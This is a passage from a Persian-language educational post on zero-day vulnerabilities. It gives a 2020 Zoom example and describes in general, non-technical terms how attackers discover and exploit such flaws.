- مهاجمان می‌توانند قبل از کشف آسیب‌پذیری، برای مدت‌ زمانی طولانی از آن سوء استفاده کنند. 
- این حملات می‌توانند منجر به نفوذ به سیستم‌ها، سرقت داده‌ها، یا انتشار بدافزار شوند. 

۵. مثال: 
- در آوریل ۲۰۲۰، یک آسیب‌پذیری 0Day در نرم‌افزار Zoom کشف شد که به مهاجمان اجازه می‌ داد تحت شرایط خاص، دسترسی از راه دور به کامپیوتر کاربران بگیرند. 
- این آسیب‌پذیری پس از کشف، پچ شد، اما نه قبل از آنکه برخی سازمان‌ ها به‌طور موقت استفاده از Zoom را محدود کنند. 

۶. کشف و exploiting از آسیب‌پذیری‌ های 0Day: 
- هکرها ممکن است این آسیب‌پذیری‌ ها را از طریق مهندسی معکوس نرم‌افزار، تحلیل کد، یا مهندسی اجتماعی کشف کنند. 
- سپس اکسپلویت‌ هایی برای سو استفاده از این نقاط ضعف توسعه می‌ دهند. 
- تا زمانی که فروشنده آسیب‌پذیری را کشف و پچی منتشر نکند، این حمله "0Day" محسوب می‌شود. 

این نوع حملات یکی از بزرگترین تهدیدات امنیتی در دنیای سایبری هستند، زیرا قبل از کشف، هیچ راه‌حلی برای مقابله با آنها وجود ندارد.
#ZeroDay
@TryHackBox